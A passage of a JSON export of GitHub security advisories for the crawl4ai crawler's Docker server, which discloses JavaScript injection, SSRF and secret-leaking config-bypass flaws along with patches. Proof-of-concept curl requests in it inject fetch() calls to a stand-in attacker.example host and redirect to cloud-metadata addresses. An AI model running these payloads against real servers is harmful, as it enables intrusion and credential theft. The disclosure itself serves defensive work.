researcher.","severity":"high","author":null,"publisher":{"login":"unclecode","id":12494079,"node_id":"MDQ6VXNlcjEyNDk0MDc5","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/12494079?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/unclecode","html_url":"https:\/\/github.com\/unclecode","followers_url":"https:\/\/api.github.com\/users\/unclecode\/followers","following_url":"https:\/\/api.github.com\/users\/unclecode\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/unclecode\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/unclecode\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/unclecode\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/unclecode\/orgs","repos_url":"https:\/\/api.github.com\/users\/unclecode\/repos","events_url":"https:\/\/api.github.com\/users\/unclecode\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/unclecode\/received_events","type":"User","user_view_type":"public","site_admin":false},"identifiers":[{"value":"GHSA-f856-7xp9-w3cc","type":"GHSA"}],"state":"published","created_at":null,"updated_at":"2026-10-15T10:01:40Z","published_at":"2026-10-15T10:01:40Z","closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"pip","name":"crawl4ai"},"vulnerable_version_range":">= 0.9.0, <= 0.9.4","patched_versions":"0.9.5","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1\/AV:N\/AC:H\/PR:L\/UI:N\/S:U\/C:H\/I:H\/A:H","score":7.5},"cvss_v4":{"vector_string":null,"score":null}},"cwes":[{"cwe_id":"CWE-502","name":"Deserialization of Untrusted Data"},{"cwe_id":"CWE-829","name":"Inclusion of Functionality from Untrusted Control Sphere"}],"cwe_ids":["CWE-502","CWE-829"],"credits":[{"login":"manus-use","type":"reporter"},{"login":"ntohidi","type":"remediation_developer"}],"credits_detailed":[{"user":{"login":"manus-use","id":213290975,"node_id":"U_kgDODLaP3w","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/213290975?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/manus-use","html_url":"https:\/\/github.com\/manus-use","followers_url":"https:\/\/api.github.com\/users\/manus-use\/followers","following_url":"https:\/\/api.github.com\/users\/manus-use\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/manus-use\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/manus-use\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/manus-use\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/manus-use\/orgs","repos_url":"https:\/\/api.github.com\/users\/manus-use\/repos","events_url":"https:\/\/api.github.com\/users\/manus-use\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/manus-use\/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter","state":"accepted"},{"user":{"login":"ntohidi","id":17140097,"node_id":"MDQ6VXNlcjE3MTQwMDk3","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/17140097?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/ntohidi","html_url":"https:\/\/github.com\/ntohidi","followers_url":"https:\/\/api.github.com\/users\/ntohidi\/followers","following_url":"https:\/\/api.github.com\/users\/ntohidi\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/ntohidi\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/ntohidi\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/ntohidi\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/ntohidi\/orgs","repos_url":"https:\/\/api.github.com\/users\/ntohidi\/repos","events_url":"https:\/\/api.github.com\/users\/ntohidi\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/ntohidi\/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"remediation_developer","state":"accepted"}],"collaborating_users":null,"collaborating_teams":null,"private_fork":null,"comments":0,"cvss":{"vector_string":"CVSS:3.1\/AV:N\/AC:H\/PR:L\/UI:N\/S:U\/C:H\/I:H\/A:H","score":7.5}},{"ghsa_id":"GHSA-qj46-wp7m-rgj8","cve_id":null,"url":"https:\/\/api.github.com\/repos\/unclecode\/crawl4ai\/security-advisories\/GHSA-qj46-wp7m-rgj8","html_url":"https:\/\/github.com\/unclecode\/crawl4ai\/security\/advisories\/GHSA-qj46-wp7m-rgj8","summary":"JavaScript injection in the crawl page via untrusted css_selector and wait_for on the Docker server","description":"### Summary\r\n\r\nSince 0.9.0 the Docker API server blocks the fields that run JavaScript in the crawl page (`js_code`, `js_code_before_wait`, `c4a_script`) for untrusted request bodies. Two fields on the allowlist still reach the same `page.evaluate()` sink: `css_selector`, through unescaped string interpolation, and `wait_for`, which accepts a `js:` condition by design. Any authenticated API client can run arbitrary JavaScript in the Chromium page used for its crawl.\r\n\r\n### Details\r\n\r\n`AsyncPlaywrightCrawlerStrategy._crawl_web()` in `crawl4ai\/async_crawler_strategy.py` splits `css_selector` on commas and puts each part into `f'Array.from(document.querySelectorAll(\"{selector}\"))...'`, then evaluates it. A `\"` in the value closes the string literal and the rest of the value runs as JavaScript. `AsyncPlaywrightCrawlerStrategy.smart_wait()` runs a `wait_for` value that starts with `js:` as a JavaScript function, and also falls back to running a value without a prefix as JavaScript. Both `css_selector` and `wait_for` are in `UNTRUSTED_FIELD_ALLOWLIST[\"CrawlerRunConfig\"]` in `crawl4ai\/async_configs.py`, and the untrusted gate checks field names only, not their content.\r\n\r\n### Proof of concept\r\n\r\nServer: crawl4ai 0.9.4 Docker image with default settings and a valid API token in `$TOKEN`.\r\n\r\nRun a listener at `https:\/\/attacker.example\/` and watch for `\/pwned-*` requests.\r\n\r\n`css_selector`: the quote closes the JavaScript string and the rest runs as page script.\r\n\r\n```bash\r\ncurl -s http:\/\/localhost:11235\/crawl -H \"Authorization: Bearer $TOKEN\" -H 'Content-Type: application\/json' -d '{\r\n  \"urls\": [\"https:\/\/example.com\/\"],\r\n  \"crawler_config\": {\"type\": \"CrawlerRunConfig\", \"params\": {\r\n    \"css_selector\": \"*\\\"))+fetch(\\\"https:\/\/attacker.example\/pwned-css\\\")+Array.from(document.querySelectorAll(\\\"*\"\r\n  }}\r\n}'\r\n```\r\n\r\n`wait_for`: a `js:` value runs as page script.\r\n\r\n```bash\r\ncurl -s http:\/\/localhost:11235\/crawl -H \"Authorization: Bearer $TOKEN\" -H 'Content-Type: application\/json' -d '{\r\n  \"urls\": [\"https:\/\/example.com\/\"],\r\n  \"crawler_config\": {\"type\": \"CrawlerRunConfig\", \"params\": {\r\n    \"wait_for\": \"js:() => { fetch(\\\"https:\/\/attacker.example\/pwned-waitfor\\\"); return true; }\"\r\n  }}\r\n}'\r\n```\r\n\r\nResult: both requests are accepted, and the listener receives `\/pwned-css` and `\/pwned-waitfor` from the crawl page. The same body with `js_code` is refused, so this bypasses the `js_code` block.\r\n\r\n\r\n### Impact\r\n\r\nAn authenticated API client can run arbitrary JavaScript in the crawl page, in the origin of any URL it asks the server to crawl, and so can change the page state and the content the server returns. This bypasses the server's policy that untrusted callers cannot supply page JavaScript (`js_code` is forbidden and `\/execute_js` is off by default). Outbound requests from the page go through the server's pinning egress proxy, so in-page `fetch()` cannot reach internal, private, or cloud-metadata addresses. The code runs inside the browser sandbox; it does not reach the server process, filesystem, or environment.\r\n\r\nThe library used directly is not affected unless an application passes untrusted input into `css_selector` or `wait_for`.\r\n\r\n### Patch\r\n\r\n`css_selector` is now passed to the page as an argument instead of being placed in the script text, so it can only ever be a selector (this also fixes selectors that contain quotes, such as `p[title=\"x\"]`). For untrusted request bodies, a `wait_for` that starts with `js:`, `()` or `function` is refused, and any other value is treated as a CSS selector (`css:`), which never falls back to JavaScript. Fixed in 0.9.5.\r\n\r\n### Workaround\r\n\r\nReject `crawler_config` bodies whose `css_selector` contains `\"`, or whose `wait_for` is not prefixed with `css:`, at your reverse proxy. Give API tokens only to trusted clients.\r\n\r\n### Credit\r\n\r\nReported by Zhixi \"Jace\" Sun ([manus-use](https:\/\/github.com\/manus-use)), independent security researcher.","severity":"medium","author":null,"publisher":{"login":"unclecode","id":12494079,"node_id":"MDQ6VXNlcjEyNDk0MDc5","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/12494079?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/unclecode","html_url":"https:\/\/github.com\/unclecode","followers_url":"https:\/\/api.github.com\/users\/unclecode\/followers","following_url":"https:\/\/api.github.com\/users\/unclecode\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/unclecode\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/unclecode\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/unclecode\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/unclecode\/orgs","repos_url":"https:\/\/api.github.com\/users\/unclecode\/repos","events_url":"https:\/\/api.github.com\/users\/unclecode\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/unclecode\/received_events","type":"User","user_view_type":"public","site_admin":false},"identifiers":[{"value":"GHSA-qj46-wp7m-rgj8","type":"GHSA"}],"state":"published","created_at":null,"updated_at":"2026-10-15T10:01:16Z","published_at":"2026-10-15T10:01:16Z","closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"pip","name":"crawl4ai"},"vulnerable_version_range":">= 0.9.0, <= 0.9.4","patched_versions":"0.9.5","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:U\/C:N\/I:L\/A:N","score":4.3},"cvss_v4":{"vector_string":null,"score":null}},"cwes":[{"cwe_id":"CWE-95","name":"Improper Neutralization of Directives in Dynamically Evaluated Code"}],"cwe_ids":["CWE-95"],"credits":[{"login":"manus-use","type":"reporter"},{"login":"ntohidi","type":"remediation_developer"}],"credits_detailed":[{"user":{"login":"manus-use","id":213290975,"node_id":"U_kgDODLaP3w","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/213290975?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/manus-use","html_url":"https:\/\/github.com\/manus-use","followers_url":"https:\/\/api.github.com\/users\/manus-use\/followers","following_url":"https:\/\/api.github.com\/users\/manus-use\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/manus-use\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/manus-use\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/manus-use\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/manus-use\/orgs","repos_url":"https:\/\/api.github.com\/users\/manus-use\/repos","events_url":"https:\/\/api.github.com\/users\/manus-use\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/manus-use\/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter","state":"accepted"},{"user":{"login":"ntohidi","id":17140097,"node_id":"MDQ6VXNlcjE3MTQwMDk3","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/17140097?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/ntohidi","html_url":"https:\/\/github.com\/ntohidi","followers_url":"https:\/\/api.github.com\/users\/ntohidi\/followers","following_url":"https:\/\/api.github.com\/users\/ntohidi\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/ntohidi\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/ntohidi\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/ntohidi\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/ntohidi\/orgs","repos_url":"https:\/\/api.github.com\/users\/ntohidi\/repos","events_url":"https:\/\/api.github.com\/users\/ntohidi\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/ntohidi\/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"remediation_developer","state":"accepted"}],"collaborating_users":null,"collaborating_teams":null,"private_fork":null,"comments":0,"cvss":{"vector_string":"CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:U\/C:N\/I:L\/A:N","score":4.3}},{"ghsa_id":"GHSA-w4xc-px5p-c32w","cve_id":null,"url":"https:\/\/api.github.com\/repos\/unclecode\/crawl4ai\/security-advisories\/GHSA-w4xc-px5p-c32w","html_url":"https:\/\/github.com\/unclecode\/crawl4ai\/security\/advisories\/GHSA-w4xc-px5p-c32w","summary":"Blind SSRF via CacheValidator freshness check bypasses the Docker server egress proxy","description":"### Summary\r\n\r\nThe Docker API server routes attacker-influenced outbound fetches through a pinning egress proxy that rejects non-global destinations, re-checks every redirect hop, and dials the pinned IP so DNS rebinding cannot work. 0.9.4 extended that proxy to the URL seeder and the robots.txt fetch. The cache freshness check was not covered. Any API client can turn it on with `check_cache_freshness` and make the server send HEAD and GET requests to internal, private, link-local, loopback, and cloud-metadata addresses.\r\n\r\n### Details\r\n\r\n`CacheValidator._get_client()` in `crawl4ai\/cache_validator.py` builds an `httpx.AsyncClient` with no `proxy=proxy_url()` argument and with `follow_redirects=True`. It dials the target directly and follows redirects without checking where they go. `AsyncWebCrawler.arun()` calls `CacheValidator.validate()` on the crawl URL when a cached result exists and `CrawlerRunConfig.check_cache_freshness` is true. `check_cache_freshness`, `cache_validation_timeout`, and `cache_mode` are all in `UNTRUSTED_FIELD_ALLOWLIST[\"CrawlerRunConfig\"]` in `crawl4ai\/async_configs.py`, so an untrusted request body can set them.\r\n\r\nThe attacker first crawls a URL they control with `cache_mode=enabled`, which stores a cached result and a head fingerprint. A second crawl of the same URL with `check_cache_freshness=true` sends the validator's requests to it. The attacker's server then answers `302 Location: http:\/\/169.254.169.254\/...` and the validator follows it. DNS rebinding also works, because the client resolves the host again when it connects.\r\n\r\n### Proof of concept\r\n\r\nServer: crawl4ai 0.9.4 Docker image with default settings and a valid API token in `$TOKEN`.\r\n\r\n1. On a host you control (`attacker.example`), serve a page with an `ETag` header.\r\n2. Crawl it once so the server caches it:\r\n\r\n```bash\r\ncurl -s http:\/\/localhost:11235\/crawl -H \"Authorization: Bearer $TOKEN\" -H 'Content-Type: application\/json' -d '{\r\n  \"urls\": [\"https:\/\/attacker.example\/\"],\r\n  \"crawler_config\": {\"type\": \"CrawlerRunConfig\", \"params\": {\"cache_mode\": \"enabled\", \"check_cache_freshness\": true}}\r\n}'\r\n```\r\n\r\n3. Change `attacker.example` to answer every request with `302 Location: http:\/\/127.0.0.1:8000\/` (or any internal address, such as `http:\/\/169.254.169.254\/latest\/meta-data\/`). Run a listener there.\r\n4. Send the same request again.\r\n\r\nResult: the freshness check sends HEAD and GET requests to the internal address. The listener logs them. The egress proxy logs nothing, because the check never goes through it.\r\n\r\nLibrary-only reproduction, loopback only:\r\n\r\n```python\r\nimport asyncio\r\nfrom crawl4ai.egress_policy import set_egress_proxy\r\nfrom crawl4ai.cache_validator import CacheValidator\r\n\r\nset_egress_proxy(\"http:\/\/127.0.0.1:<proxy_port>\")   # what the Docker server does at boot\r\nasync def main():\r\n    async with CacheValidator(timeout=3) as v:\r\n        # <origin_port> answers 302 to an internal listener\r\n        await v.validate(\"http:\/\/127.0.0.1:<origin_port>\/\", stored_etag='\"x\"', stored_head_fingerprint=\"abc\")\r\nasyncio.run(main())\r\n# The internal listener gets the requests; the proxy gets none.\r\n```\r\n\r\n### Impact\r\n\r\nUnauthenticated (or low-privileged, with JWT enabled) blind server-side request forgery from the Docker server. The fetched `<head>` is fingerprinted and not returned. An attacker gains: requests delivered to internal, private, link-local, and cloud-metadata addresses; port and service discovery through response timing; and a side channel through the validation outcome (fresh, stale, error), which shows whether an internal host answers and whether its `<head>` changed. The response body is not disclosed.\r\n\r\nThe library used directly is not affected in the SSRF sense: the egress proxy exists only in the Docker server, and a library caller already chooses the URL it fetches.\r\n\r\n### Patch\r\n\r\nThe cache validator client now goes through the same egress proxy as the seeder and robots.txt clients (`proxy=proxy_url()`), so every request and every redirect hop is resolved, checked, and pinned. Fixed in 0.9.5.\r\n\r\n### Workaround\r\n\r\nStrip `check_cache_freshness` from incoming `crawler_config` bodies at your reverse proxy. Restrict the container's outbound network access (egress firewall, no metadata route). Enable authentication.\r\n\r\n### Credit\r\n\r\nReported by arpe1618 ([arpe1618](https:\/\/github.com\/arpe1618)) with a self-contained loopback-only proof of concept and a precise fix proposal.","severity":"medium","author":null,"publisher":{"login":"unclecode","id":12494079,"node_id":"MDQ6VXNlcjEyNDk0MDc5","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/12494079?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/unclecode","html_url":"https:\/\/github.com\/unclecode","followers_url":"https:\/\/api.github.com\/users\/unclecode\/followers","following_url":"https:\/\/api.github.com\/users\/unclecode\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/unclecode\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/unclecode\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/unclecode\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/unclecode\/orgs","repos_url":"https:\/\/api.github.com\/users\/unclecode\/repos","events_url":"https:\/\/api.github.com\/users\/unclecode\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/unclecode\/received_events","type":"User","user_view_type":"public","site_admin":false},"identifiers":[{"value":"GHSA-w4xc-px5p-c32w","type":"GHSA"}],"state":"published","created_at":null,"updated_at":"2026-10-15T10:00:54Z","published_at":"2026-10-15T10:00:54Z","closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"pip","name":"crawl4ai"},"vulnerable_version_range":"<= 0.9.4","patched_versions":"0.9.5","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:L\/I:N\/A:N","score":5.3},"cvss_v4":{"vector_string":null,"score":null}},"cwes":[{"cwe_id":"CWE-918","name":"Server-Side Request Forgery"}],"cwe_ids":["CWE-918"],"credits":[{"login":"arpe1618","type":"reporter"},{"login":"ntohidi","type":"remediation_developer"}],"credits_detailed":[{"user":{"login":"arpe1618","id":265149744,"node_id":"U_kgDOD83dMA","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/265149744?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/arpe1618","html_url":"https:\/\/github.com\/arpe1618","followers_url":"https:\/\/api.github.com\/users\/arpe1618\/followers","following_url":"https:\/\/api.github.com\/users\/arpe1618\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/arpe1618\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/arpe1618\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/arpe1618\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/arpe1618\/orgs","repos_url":"https:\/\/api.github.com\/users\/arpe1618\/repos","events_url":"https:\/\/api.github.com\/users\/arpe1618\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/arpe1618\/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter","state":"accepted"},{"user":{"login":"ntohidi","id":17140097,"node_id":"MDQ6VXNlcjE3MTQwMDk3","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/17140097?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/ntohidi","html_url":"https:\/\/github.com\/ntohidi","followers_url":"https:\/\/api.github.com\/users\/ntohidi\/followers","following_url":"https:\/\/api.github.com\/users\/ntohidi\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/ntohidi\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/ntohidi\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/ntohidi\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/ntohidi\/orgs","repos_url":"https:\/\/api.github.com\/users\/ntohidi\/repos","events_url":"https:\/\/api.github.com\/users\/ntohidi\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/ntohidi\/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"remediation_developer","state":"accepted"}],"collaborating_users":null,"collaborating_teams":null,"private_fork":null,"comments":0,"cvss":{"vector_string":"CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:L\/I:N\/A:N","score":5.3}},{"ghsa_id":"GHSA-5w5p-vcv6-mm3f","cve_id":null,"url":"https:\/\/api.github.com\/repos\/unclecode\/crawl4ai\/security-advisories\/GHSA-5w5p-vcv6-mm3f","html_url":"https:\/\/github.com\/unclecode\/crawl4ai\/security\/advisories\/GHSA-5w5p-vcv6-mm3f","summary":"Untrusted-config gate bypass via dict-wrapper laundering leaks server env vars (LLM keys, SECRET_KEY)","description":"\r\n### Summary\r\n\r\nThe Docker API server gates which config object types an untrusted request body may construct (`UNTRUSTED_ALLOWED_TYPES`), so a client cannot build power objects like `LLMConfig` that resolve `api_token=\"env:NAME\"` from the process environment. Wrapping a forbidden typed object in `{\"type\": \"dict\", \"value\": {...}}` launders it past the gate. An ordinary, non-admin API client can then read arbitrary server environment variables, including provider keys (`OPENAI_API_KEY`, `ANTHROPIC_API_KEY`) and `SECRET_KEY`. Where `SECRET_KEY` is set in the environment (the documented deployment), the recovered value allows forging an admin-scope JWT.\r\n\r\n### Details\r\n\r\nTwo defects in `crawl4ai\/async_configs.py` combine:\r\n\r\n1. `from_serializable_dict()` unwraps `{\"type\": \"dict\", \"value\": X}` by recursing over `X.items()` (async_configs.py:468-469). It never re-checks `X` as a whole typed object, so a gated type nested inside `value` is never presented to the `UNTRUSTED_ALLOWED_TYPES` check. Sent directly the same object is refused.\r\n2. Both `CrawlerRunConfig.from_kwargs` (async_configs.py:2112) and `BrowserConfig.from_kwargs` (async_configs.py:980) call `from_serializable_dict(v)` with no provenance argument. The parameter defaults to `Provenance.TRUSTED` (async_configs.py:445-446), so the laundered dict is re-deserialized as trusted and the forbidden object is constructed. A trusted `LLMConfig.__init__` then resolves `api_token=\"env:NAME\"` via `os.getenv`. `_filter_untrusted_fields` does not catch it because it inspects only top-level keys.\r\n\r\nEach typed object that would be gated must be individually wrapped: the reporter's payload wraps both the `LLMExtractionStrategy` and the inner `LLMConfig`. The path is reachable from `\/config\/dump`, `\/crawl`, `\/crawl\/stream`, `\/md`, and the job router, all of which call `load(..., provenance=UNTRUSTED)`. `\/config\/dump` echoes the resolved value straight back to the caller.\r\n\r\n### Impact\r\n\r\nAn ordinary non-admin caller can read any server environment variable. Consequences: disclosure of LLM provider keys and any other secret in the environment; where `SECRET_KEY` is present, forging a JWT that passes the admin-scope check (verified by the reporter against `POST \/monitor\/stats\/reset`), which rotating the API token does not revoke, only rotating `SECRET_KEY` does; and disclosure of `CRAWL4AI_API_TOKEN` itself, so one leaked low-tier token yields the static credential every caller uses. The MCP bridge mints the server's non-admin `data` scope for every tool call, so the privilege boundary crossed is real. If `SECRET_KEY` is unset the per-process ephemeral value never enters the environment, reducing the issue to disclosure of whatever else is set. The same wrapper also constructs other `ALLOWED_DESERIALIZE_TYPES` entries with otherwise-forbidden fields (reporter confirmed `PDFContentScrapingStrategy` with `image_save_dir`, giving arbitrary-path image write).\r\n\r\n### Patch\r\n\r\nUnder untrusted provenance, unwrapping `{\"type\": \"dict\", \"value\": X}` now rejects a value that is still typed-object-shaped instead of laundering it, and both `from_kwargs` implementations thread the caller's provenance through instead of defaulting to trusted. Fixed in 0.9.4.\r\n\r\n### Workaround\r\n\r\nDo not set `SECRET_KEY` in the server environment (removes the admin-forgery escalation; disclosure of other env vars remains). Do not place secrets the crawler does not need in the server's environment. Restrict who can call the API, and put it behind an authenticating proxy.\r\n\r\n### Credit\r\n\r\nReported by Adam Jordan ([adamyordan](https:\/\/github.com\/adamyordan)) with a precise source-level root-cause analysis and a working proof of concept.\r\n","severity":"high","author":null,"publisher":{"login":"unclecode","id":12494079,"node_id":"MDQ6VXNlcjEyNDk0MDc5","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/12494079?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/unclecode","html_url":"https:\/\/github.com\/unclecode","followers_url":"https:\/\/api.github.com\/users\/unclecode\/followers","following_url":"https:\/\/api.github.com\/users\/unclecode\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/unclecode\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/unclecode\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/unclecode\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/unclecode\/orgs","repos_url":"https:\/\/api.github.com\/users\/unclecode\/repos","events_url":"https:\/\/api.github.com\/users\/unclecode\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/unclecode\/received_events","type":"User","user_view_type":"public","site_admin":false},"identifiers":[{"value":"GHSA-5w5p-vcv6-mm3f","type":"GHSA"}],"state":"published","created_at":null,"updated_at":"2026-09-23T15:02:48Z","published_at":"2026-09-23T15:02:48Z","closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"pip","name":"crawl4ai"},"vulnerable_version_range":">= 0.9.0, <= 0.9.3","patched_versions":"0.9.4","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:U\/C:H\/I:H\/A:N","score":8.1},"cvss_v4":{"vector_string":null,"score":null}},"cwes":[],"cwe_ids":[],"credits":[{"login":"adamyordan","type":"reporter"}],"credits_detailed":[{"user":{"login":"adamyordan","id":9531164,"node_id":"MDQ6VXNlcjk1MzExNjQ=","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/9531164?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/adamyordan","html_url":"https:\/\/github.com\/adamyordan","followers_url":"https:\/\/api.github.com\/users\/adamyordan\/followers","following_url":"https:\/\/api.github.com\/users\/adamyordan\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/adamyordan\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/adamyordan\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/adamyordan\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/adamyordan\/orgs","repos_url":"https:\/\/api.github.com\/users\/adamyordan\/repos","events_url":"https:\/\/api.github.com\/users\/adamyordan\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/adamyordan\/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter","state":"accepted"}],"collaborating_users":null,"collaborating_teams":null,"private_fork":null,"comments":1,"cvss":{"vector_string":"CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:U\/C:H\/I:H\/A:N","score":8.1}},{"ghsa_id":"GHSA-wh5w-hmj3-vgg7","cve_id":null,"url":"https:\/\/api.github.com\/repos\/unclecode\/crawl4ai\/security-advisories\/GHSA-wh5w-hmj3-vgg7","html_url":"https:\/\/github.com\/unclecode\/crawl4ai\/security\/advisories\/GHSA-wh5w-hmj3-vgg7","summary":"SSRF with response disclosure via link_preview_config: the URL seeder fetches links outside the egress controls","description":"\r\n### Summary\r\n\r\nThe Docker API server routes attacker-influenced outbound traffic through one egress rule (`egress_broker.resolve_and_pin`: reject any destination that resolves to a non-global IP, re-check every redirect hop, dial the pinned IP so a second DNS lookup cannot rebind). That rule covers the Chromium pinning proxy, the PDF downloader, and the job webhook. The link-preview path was not covered. An API client that can reach `\/crawl` supplies a page it controls and turns on link preview; the server then fetches every link on that page, including internal, private, link-local, and cloud-metadata addresses, and returns each fetched page's parsed `<head>` to the caller. Unlike the other SSRF issues in this project, the response content is disclosed.\r\n\r\n### Details\r\n\r\n`crawler_config` is loaded from the untrusted request body. `link_preview_config` is on the `CrawlerRunConfig` untrusted allowlist, and `LinkPreviewConfig` is in `UNTRUSTED_ALLOWED_TYPES` but has no entry in `UNTRUSTED_FIELD_ALLOWLIST`. `_filter_untrusted_fields` treats a missing allowlist as \"keep every non-forbidden field\", so `include_external`, `include_patterns`, and `max_links` are all attacker-settable.\r\n\r\nWith `include_external=True` and `include_patterns=[\"*\"]`, `LinkPreviewHandler` passes every link discovered on the crawled page to `AsyncUrlSeeder.extract_head_for_urls()`. That sink fetches with the seeder's own `httpx.AsyncClient` (`crawl4ai\/async_url_seeder.py`), which is never routed through the pinning proxy and never calls `resolve_and_pin` or any destination validator. `_fetch_head()` sets `follow_redirects=False` but then follows the `Location` header itself with `urljoin` for up to five hops, re-resolving each time and re-checking nothing. The parsed `<head>` of each response, including `title`, `meta`, and `link` tags, is merged back into `result.links[*].head_data`.\r\n\r\nThe seeder's other fetches on the same unpinned client (sitemap and robots.txt discovery) have the same gap.\r\n\r\n### Impact\r\n\r\nServer-side request forgery from the Docker server, with response data returned to the caller. An attacker gains: GET requests delivered to internal, private, link-local, and cloud-metadata addresses; internal port and service discovery; and disclosure of the `<head>` of internal HTML pages, which commonly carries titles, application names, versions, CSRF meta tags, and internal URLs. DNS rebinding also applies, since this path resolves the host again at fetch time rather than dialing a pinned IP.\r\n\r\nAuthentication is not a barrier when the API is deployed unauthenticated, which is the default; where JWT is enabled, any valid caller can do it.\r\n\r\nThe library alone is affected when an application enables link preview while crawling untrusted pages.\r\n\r\n### Patch\r\n\r\nThe seeder's HTTP client is put behind the same destination policy as the browser, PDF, and webhook paths: resolve and pin the destination, dial the pinned IP, and re-validate every redirect hop instead of following `Location` blindly. `LinkPreviewConfig` also gains an entry in `UNTRUSTED_FIELD_ALLOWLIST` so `include_external` and `include_patterns` are no longer settable from an untrusted body. Fixed in 0.9.4.\r\n\r\n### Workaround\r\n\r\nStrip 